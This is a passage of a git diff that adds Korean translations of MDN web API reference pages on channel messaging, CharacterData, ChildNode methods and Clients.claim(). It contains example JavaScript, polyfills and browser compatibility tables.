+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="MessageChannel"><code>MessageChannel</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.MessageChannel", 0)}}</p>
+
+<h3 id="MessagePort"><code>MessagePort</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.MessagePort", 0)}}</p>
+</div>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API/Using_channel_messaging">Using channel messaging</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel API</a></li>
+</ul>
diff --git a/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html b/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html
new file mode 100644
index 0000000000..f4400bd998
--- /dev/null
+++ b/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html
@@ -0,0 +1,220 @@
+---
+title: Using channel messaging
+slug: Web/API/Channel_Messaging_API/Using_channel_messaging
+translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging
+---
+<p>{{DefaultAPISidebar("Channel Messaging API")}}</p>
+
+<p><a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a> 는 두 개의 독립적인 스크립트(예를 들면, 두 개의 IFrame, 또는 메인 다큐먼트와 IFrame, 또는 {{domxref("SharedWorker")}}에 의한 두 개의 다큐먼트)를 각 포트를 가진 양방향 채널(또는 파이프)을 통해 서로 직접 통신할 수 있도록 해줍니다. 이 문서에서 이 기술을 사용하는 기본내용에 대해 살펴봅시다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Use_cases">Use cases</h2>
+
+<p>Channel messaging is mainly useful in cases where you've got a social site that embeds capabilities from other sites into its main interface via IFrames, such as games, address book, or an audio player with personalized music choices. When these act as standalone units, things are ok, but the difficulty comes when you want interaction between the main site and the IFrames, or the different IFrames. For example, what if you wanted to add a contact to the address book from the main site, add high scores from your game into  your main profile, or add new background music choices from the audio player onto the game? Such things are not so easy using conventional web technology, because of the security models the web uses. You have to think about whether the origins trust one another, and how the messages are passed.</p>
+
+<p>Message channels on the other hand can provide a secure channel that a single data item can be sent down, from one browsing context to another, after which the channel is closed. The sending context asks the receiving context for the capability to send a single message. At the receiving end, this message is actioned as appropriate (for example as "add a contact", or "share high scores".)</p>
+
+<div class="note">
+<p><strong>Note</strong>: For more information and ideas, the <a href="https://html.spec.whatwg.org/multipage/comms.html#ports-as-the-basis-of-an-object-capability-model-on-the-web">Ports as the basis of an object-capability model on the Web</a> section of the spec is a useful read.</p>
+</div>
+
+<h2 id="Simple_examples">Simple examples</h2>
+
+<p>To get your started, we have published a couple of demos on Github. First up, check out our <a href="https://github.com/mdn/dom-examples/tree/master/channel-messaging-basic">channel messaging basic demo</a> (<a href="https://mdn.github.io/dom-examples/channel-messaging-basic/">run it live too</a>), which shows a really simple single message transfer between a page and an embedded {{htmlelement("iframe")}}. The embedded IFrame then sends a confirmation message back. Second, have a look at our <a href="https://github.com/mdn/dom-examples/tree/master/channel-messaging-multimessage">multimessaging demo</a> (<a href="https://mdn.github.io/dom-examples/channel-messaging-multimessage/">run this live</a>), which shows a slightly more complex setup that can send multiple messages between main page and IFrame.</p>
+
+<p>We'll be focusing on the latter example in this article. It looks like so:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10075/channel-messaging-demo.png" style="display: block; height: 744px; margin: 0px auto; width: 690px;"></p>
+
+<h2 id="Creating_the_channel">Creating the channel</h2>
+
+<p>In the main page of the demo, we have a paragraph and a simple form with a text input for entering messages to be sent to an {{htmlelement("iframe")}}.</p>
+
+<pre class="brush: js">var para = document.querySelector('p');
+var textInput = document.querySelector('.message-box');
+var button = document.querySelector('button');
+
+var ifr = document.querySelector('iframe');
+var otherWindow = ifr.contentWindow;
+
+ifr.addEventListener("load", iframeLoaded, false);
+
+function iframeLoaded() {
+ button.onclick = function(e) {
+ e.preventDefault();
+
+ var channel = new MessageChannel();
+ otherWindow.postMessage(textInput.value, '*', [channel.port2]);
+
+ channel.port1.onmessage = handleMessage;
+ function handleMessage(e) {
+ para.innerHTML = e.data;
+ textInput.value = '';
+ }
+ }
+}</pre>
+
+<p>When the IFrame has loaded, we run an <code>iframeLoaded()</code> function containing an <code>onclick</code> handler for our button — when the button is clicked, we prevent the form submitting as normal, create a new message channel with the {{domxref("MessageChannel()","MessageChannel.MessageChannel")}} constructor, then send the value entered in our text input to the IFrame via the {{domxref("MessageChannel")}}. Let's explore how the <code>window.postMessage</code> line works in a bit more detail.</p>
+
+<p>For a start, here we are calling the {{domxref("window.postMessage")}} method — we are posting a message to the IFrame's window context. {{domxref("window.postMessage")}} has three arguments, unlike {{domxref("MessagePort.postMessage")}}, which only has two. The three arguments are:</p>
+
+<ol>
+ <li>The message being sent, in this case <code>textInput.value</code>.</li>
+ <li>The origin the message is to be sent to. * means "any origin".</li>
+ <li>An object, the ownership of which is transferred to the receiving browsing context. In this case, we are transferring {{domxref("MessageChannel.port2")}} to the IFrame, so it can be used to receive the message from the main page.</li>
+</ol>
+
+<p>At the bottom of the <code>iframeLoaded()</code> function there is a {{domxref("MessagePort.onmessage")}} handler, but we'll get to that later.</p>
+
+<h2 id="Receiving_the_port_and_message_in_the_IFrame">Receiving the port and message in the IFrame</h2>
+
+<p>Over in the IFrame, we have the following JavaScript:</p>
+
+<pre class="brush: js">var list = document.querySelector('ul');
+
+onmessage = function(e) {
+ var listItem = document.createElement('li');
+ listItem.textContent = e.data;
+ list.appendChild(listItem);
+ e.ports[0].postMessage('Message received by IFrame: "' + e.data + '"');
+}</pre>
+
+<p>The entirety of the code is wrapped in a {{domxref("window.onmessage")}} handler, which runs when the message is received from the main page (via its <code>postMessage()</code>.) First we create a list item and insert it in the unordered list, setting the {{domxref("textContent","Node.textContent")}} of the list item equal to the event's <code>data</code> attribute (this contains the actual message).</p>
+
+<p>Next, we post a confirmation message back to the main page via the message channel, using <code>e.ports[0].postMessage()</code>. How does this work? Earlier we transferred <code>port2</code> over to the IFrame — this is accessible in the event's <code>ports</code> attribute (array position <code>[0]</code>). We call {{domxref("MessagePort.postMessage")}} on this port — since <code>port2</code> is being controlled by the IFrame, and it is joined to port1 by the message channel, the specified message will be sent back to the main page.</p>
+
+<h2 id="Receiving_the_confirmation_in_the_main_page">Receiving the confirmation in the main page</h2>
+
+<p>Returning to the main page, let's now look at the onmessage handler at the bottom of the <code>iframeLoaded()</code> function:</p>
+
+<pre class="brush: js">channel.port1.onmessage = handleMessage;
+function handleMessage(e) {
+ para.innerHTML = e.data;
+ textInput.value = '';
+}</pre>
+
+<p>Here we are setting <code>port1</code>'s {{domxref("MessagePort.onmessage")}} handler equal to the <code>handleMessage()</code> function — when a message is received back from the IFrame confirming that the original message was received successfully, this simply outputs the confirmation to a paragraph and empties the text input ready for the next message to be sent.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(41)}}</td>
+ <td>10.0</td>
+ <td>10.6</td>
+ <td>5</td>
+ </tr>
+ <tr>
+ <td>PortCollection</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Available in workers</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(41)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.4</td>
+ <td>4</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile(41)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.0</td>
+ <td>11.5</td>
+ <td>5.1</td>
+ </tr>
+ <tr>
+ <td>PortCollection</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Available in workers</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile(41)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel API</a></li>
+</ul>
diff --git a/files/ko/web/api/characterdata/index.html b/files/ko/web/api/characterdata/index.html
new file mode 100644
index 0000000000..0e0b383a82
--- /dev/null
+++ b/files/ko/web/api/characterdata/index.html
@@ -0,0 +1,97 @@
+---
+title: CharacterData
+slug: Web/API/CharacterData
+tags:
+ - API
+ - DOM
+translation_of: Web/API/CharacterData
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>CharacterData</strong></code> 추상 인터페이스는 문자를 포함하는 {{domxref("Node")}} 객체를 나타냅니다. 이는 추상 인터페이스로 <code>CharacterData</code> 타입의 객체로는 존재하지 않음을 의미합니다. {{domxref("Text")}}, {{domxref("Comment")}}, {{domxref("ProcessingInstruction")}} 와 같은 추상 인터페이스가 아닌 다른 인터페이스에의해 구현되었습니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>부모 {{domxref("Node")}} 로부터 프로퍼티를 상속받고 {{domxref("ChildNode")}} 와 {{domxref("NonDocumentTypeChildNode")}} 인터페이스를 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.data")}}</dt>
+ <dd>이 객체를 포함하는 문자형 데이터를 나타내는 {{domxref("DOMString")}} 입니다.</dd>
+ <dt>{{domxref("CharacterData.length")}} {{readonlyInline}}</dt>
+ <dd><code>CharacterData.data</code> 에 포함된 문자열의 크기를 나타내는 <code>unsigned long</code> 을 반환합니다.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}</dt>
+ <dd>부모의 자식 리스트 중 특정 {{domxref("Element")}} 의 바로 다음 {{domxref("Element")}} 를 반환합니다. 특정 엘리먼트가 리스트의 마지막 것일 경우 <code>null</code> 을 반환합니다.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}</dt>
+ <dd>부모의 자식 리스트 중 특정 {{domxref("Element")}} 의 바로 이전 {{domxref("Element")}} 를 반환합니다. 특정 엘리먼트가 리스트의 처음 것일 경우 <code>null</code> 을 반환합니다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메소드</h2>
+
+<p><em>부모 {{domxref("Node")}} 로부터 메소드를 상속받고 {{domxref("ChildNode")}} 와<em> {{domxref("NonDocumentTypeChildNode")}} </em>인터페이스를 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.appendData()")}}</dt>
+ <dd>주어진 {{domxref("DOMString")}} 을 <code>CharacterData.data</code> 문자열에 붙입니다. 이 메소드가 반환할 때 <code>data</code> 는 이어 붙여진 {{domxref("DOMString")}} 을 갖게됩니다.</dd>
+ <dt>{{domxref("CharacterData.deleteData()")}}</dt>
+ <dd><code>CharacterData.data</code> 문자열의 특정 오프셋으로부터 지정한 양만큼의 문자열을 제거합니다. 이 메소드가 반환할 때 <code>data</code> 는 짧아진 {{domxref("DOMString")}} 을 갖게됩니다.</dd>
+ <dt>{{domxref("CharacterData.insertData()")}}</dt>
+ <dd><code>CharacterData.data</code> 문자열의 특정 오프셋에 특정 문자열을 삽입합니다. 이 메소드가 반환할 때 <code>data</code> 는 수정된 {{domxref("DOMString")}} 을 갖게됩니다.</dd>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>부모의 자식 리스트로부터 객체를 제거합니다.</dd>
+ <dt>{{domxref("CharacterData.replaceData()")}}</dt>
+ <dd>특정 오프셋으로부터 지정한 양만큼의 문자열을 지정된 {{domxref("DOMString")}} 으로 대체합니다. 이 메소드가 반환할 때 <code>data</code> 는 수정된 {{domxref("DOMString")}} 을 갖게됩니다.</dd>
+ <dt>{{domxref("CharacterData.substringData()")}}</dt>
+ <dd><code>CharacterData.data</code> 의 특정 오프셋으로부터 지정된 길이만큼의 {{domxref("DOMString")}} 을 반환합니다.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#characterdata', 'CharacterData')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>{{domxref("ChildNode")}} 와 {{domxref("NonDocumentTypeChildNode")}} 인터페이스 구현을 추가했음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>{{SpecName('DOM2 Core')}} 로부터 변경사항 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>{{SpecName('DOM1')}} 로부터 변경사항 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-FF21A306', 'CharacterData')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<p>{{Compat("api.CharacterData")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<p> </p>
+
+<ul>
+ <li><a href="/ko/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM 인터페이스 목차</a>.</li>
+</ul>
diff --git a/files/ko/web/api/childnode/before/index.html b/files/ko/web/api/childnode/before/index.html
new file mode 100644
index 0000000000..8481f44374
--- /dev/null
+++ b/files/ko/web/api/childnode/before/index.html
@@ -0,0 +1,144 @@
+---
+title: ChildNode.before()
+slug: Web/API/ChildNode/before
+tags:
+ - API
+ - DOM
+ - 노드
+ - 레퍼런스
+ - 메소드
+ - 실험중
+translation_of: Web/API/ChildNode/before
+---
+<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div>
+
+<p><code><strong>ChildNode.before</strong></code> 메소드는 <code>ChildNode</code> 의 부모가 가진 자식의 <code>ChildNode</code> 바로 이전에 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 삽입합니다.{{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ChildNode.before((Node or DOMString)... nodes);
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>삽입할 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합입니다.</dd>
+</dl>
+
+<h3 id="예외">예외</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: 노드는 계층 구조의 특정 지점에 삽입될 수 없습니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="엘리먼트_삽입하기">엘리먼트 삽입하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span);
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"
+</pre>
+
+<h3 id="텍스트_삽입하기">텍스트 삽입하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.before("Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;Text&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"</pre>
+
+<h3 id="엘리먼트와_텍스트_삽입하기">엘리먼트와 텍스트 삽입하기</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span, "Text");
+
+console.log(parent.outerHTML);
+// "&lt;div&gt;&lt;span&gt;&lt;/span&gt;Text&lt;p&gt;&lt;/p&gt;&lt;/div&gt;"</pre>
+
+<h3 id="ChildNode.before()_는_범위를_지정할_수_없습니다"><code>ChildNode.before()</code> 는 범위를 지정할 수 없습니다</h3>
+
+<p><code>before()</code> 메소드는 <code>with</code> 구문으로 범위를 지정할 수 없습니다. 자세한 내용은 {{jsxref("Symbol.unscopables")}} 문서를 확인하세요.</p>
+
+<pre class="brush: js">with(node) {
+ before("foo");
+}
+// ReferenceError: before is not defined </pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>다음 코드를 사용해 인터넷 익스플로러 9 이상에서 <code>before() 메소드</code> 를 폴리필링할 수 있습니다.</p>
+
+<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md
+(function (arr) {
+ arr.forEach(function (item) {
+ if (item.hasOwnProperty('before')) {
+ return;
+ }
+ Object.defineProperty(item, 'before', {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: function before() {
+ var argArr = Array.prototype.slice.call(arguments),
+ docFrag = document.createDocumentFragment();
+
+ argArr.forEach(function (argItem) {
+ var isNode = argItem instanceof Node;
+ docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+ });
+
+ this.parentNode.insertBefore(docFrag, this);
+ }
+ });
+ });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ChildNode.before")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} 와 {{domxref("ParentNode")}}</li>
+ <li>{{domxref("ChildNode.after()")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/childnode/index.html b/files/ko/web/api/childnode/index.html
new file mode 100644
index 0000000000..2d48b7ef8c
--- /dev/null
+++ b/files/ko/web/api/childnode/index.html
@@ -0,0 +1,76 @@
+---
+title: ChildNode
+slug: Web/API/ChildNode
+tags:
+ - API
+ - DOM
+ - 노드
+ - 실험중
+ - 인터페이스
+translation_of: Web/API/ChildNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>ChildNode</strong></code> 인터페이스는 부모를 가질 수 있는 {{domxref("Node")}} 객체에 고유한 메소드를 포함합니다.</p>
+
+<p><code>ChildNode</code>는 원시 인터페이스이며 이 타입의 객체는 생성할 수 없습니다. 이는 {{domxref("Element")}}, {{domxref("DocumentType")}} 및 {{domxref("CharacterData")}} 객체로 구현되었습니다.</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>상속 및 특정 프로퍼티가 없습니다.</em></p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>상속된 메소드가 없습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd><code>ChildNode</code>를 부모의 자식 목록으로부터 제거합니다.</dd>
+ <dt>{{domxref("ChildNode.before()")}} {{experimental_inline}}</dt>
+ <dd>{{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 부모의 자식 목록에서 <code>ChildNode</code>의 바로 앞에 삽입합니다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.</dd>
+ <dt>{{domxref("ChildNode.after()")}} {{experimental_inline}}</dt>
+ <dd>{{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합을 부모의 자식 목록에서 <code>ChildNode</code>의 바로 뒤에 삽입합니다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.</dd>
+ <dt>{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}</dt>
+ <dd>부모의 자식 목록에 있는 <code>ChildNode</code>를 {{domxref("Node")}} 또는 {{domxref("DOMString")}} 객체의 집합으로 대체합니다.{{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입됩니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td><code>ElementTraversal</code> 인터페이스를 {{domxref("ParentNode")}}와 <code>ChildNode</code>로 분리합니다. <code>previousElementSibling</code>과 <code>nextElementSibling</code>은 이제 마지막에 정의됩니다. {{domxref("CharacterData")}}와 {{domxref("DocumentType")}}은 새 인터페이스를 구현했습니다. <code>remove()</code>, <code>before()</code>, <code>after()</code> 및 <code>replaceWith()</code> 메소드가 추가되었습니다.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+ <td>{{Spec2('Element Traversal')}}</td>
+ <td>프로퍼티의 초기 정의가 <code>ElementTraversal</code> 순수 인터페이스에 추가되었고 {{domxref("Element")}}에서 사용합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>github의 외부 코드: <a href="https://github.com/seznam/JAK/blob/master/lib/polyfills/childNode.js">childNode.js</a></p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ChildNode")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} 순수 인터페이스.</li>
+ <li>
+ <div class="syntaxbox">순수 인터페이스를 구현한 객체 타입: {{domxref("CharacterData")}}, {{domxref("Element")}} 및 {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/childnode/remove/index.html b/files/ko/web/api/childnode/remove/index.html
new file mode 100644
index 0000000000..2c4992989f
--- /dev/null
+++ b/files/ko/web/api/childnode/remove/index.html
@@ -0,0 +1,97 @@
+---
+title: ChildNode.remove()
+slug: Web/API/ChildNode/remove
+tags:
+ - API
+ - ChildNode
+ - DOM
+ - 메소드
+ - 실험중
+translation_of: Web/API/ChildNode/remove
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>ChildNode.remove()</strong></code> 메소드는 이를 포함하는 트리로부터 객체를 제거합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>node</em>.remove();
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="remove()_사용하기"><code>remove()</code> 사용하기</h3>
+
+<pre class="brush: html">&lt;div id="div-01"&gt;div-01 입니다&lt;/div&gt;
+&lt;div id="div-02"&gt;div-02 입니다&lt;/div&gt;
+&lt;div id="div-03"&gt;div-03 입니다&lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var el = document.getElementById('div-02');
+el.remove(); // id가 'div-02' 인 div를 제거합니다
+</pre>
+
+<h3 id="ChildNode.remove()_는_스코프_지정_불가"><code>ChildNode.remove()</code> 는 스코프 지정 불가</h3>
+
+<p><code>remove()</code> 메소드는 <code>with</code> 구문으로 스코프를 지정할 수 없습니다. 자세한 내용은 {{jsxref("Symbol.unscopables")}} 을 확인하세요.</p>
+
+<pre class="brush: js">with(node) {
+ remove();
+}
+// ReferenceError: remove is not defined </pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>인터넷 익스플로러 9 이상에서는 다음 코드를 사용해 <code>remove() 메소드</code> 를 폴리필링할 수 있습니다.</p>
+
+<pre class="brush: js">// from:https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+(function (arr) {
+ arr.forEach(function (item) {
+ if (item.hasOwnProperty('remove')) {
+ return;
+ }
+ Object.defineProperty(item, 'remove', {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: function remove() {
+ if (this.parentNode !== null)
+ this.parentNode.removeChild(this);
+ }
+ });
+ });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ChildNode.remove")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("ChildNode")}} 순수 인터페이스.</li>
+ <li>
+ <div class="syntaxbox">이 순수 인터페이스를 구현하는 객체 타입: {{domxref("CharacterData")}}, {{domxref("Element")}}, {{domxref("DocumentType")}}.</div>
+ </li>
+</ul>
diff --git a/files/ko/web/api/clients/claim/index.html b/files/ko/web/api/clients/claim/index.html
new file mode 100644
index 0000000000..ff74825a1d
--- /dev/null
+++ b/files/ko/web/api/clients/claim/index.html
@@ -0,0 +1,66 @@
+---
+title: Clients.claim()
+slug: Web/API/Clients/claim
+translation_of: Web/API/Clients/claim
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Worker Clients")}}</p>
+
+<p><span class="seoSummary">{{domxref("Clients")}} 의 <strong><code>claim()</code></strong> 메소드는 active 서비스워커가 그것의 {{domxref("ServiceWorkerRegistration.scope", "scope")}} 를 가지는 모든 클라이언트들의 {{domxref("ServiceWorkerContainer.controller", "controller")}} 로서 자신을 등록하는 것을 허용한다. 이것은 이 서비스워커가 제어하게 될 클라이언트들에 "<code>controllerchange</code>" 이벤트를 발생시킨다.</span></p>
+
+<p>서비스워커가 최초에 등록되면, 페이지들은 다음 로드시까지 그것을 사용하지 않을 것이다. <code>claim()</code> 메소드는 그 페이지들을 즉시 제어될 수 있도록 한다. 이로 인해, 당신의 서비스워커는 네트워크 또는 다른 서비스워커를 통해 정기적으로 로드되는 페이지들을 제어하게 된다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">await clients.claim();
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>None.</p>
+
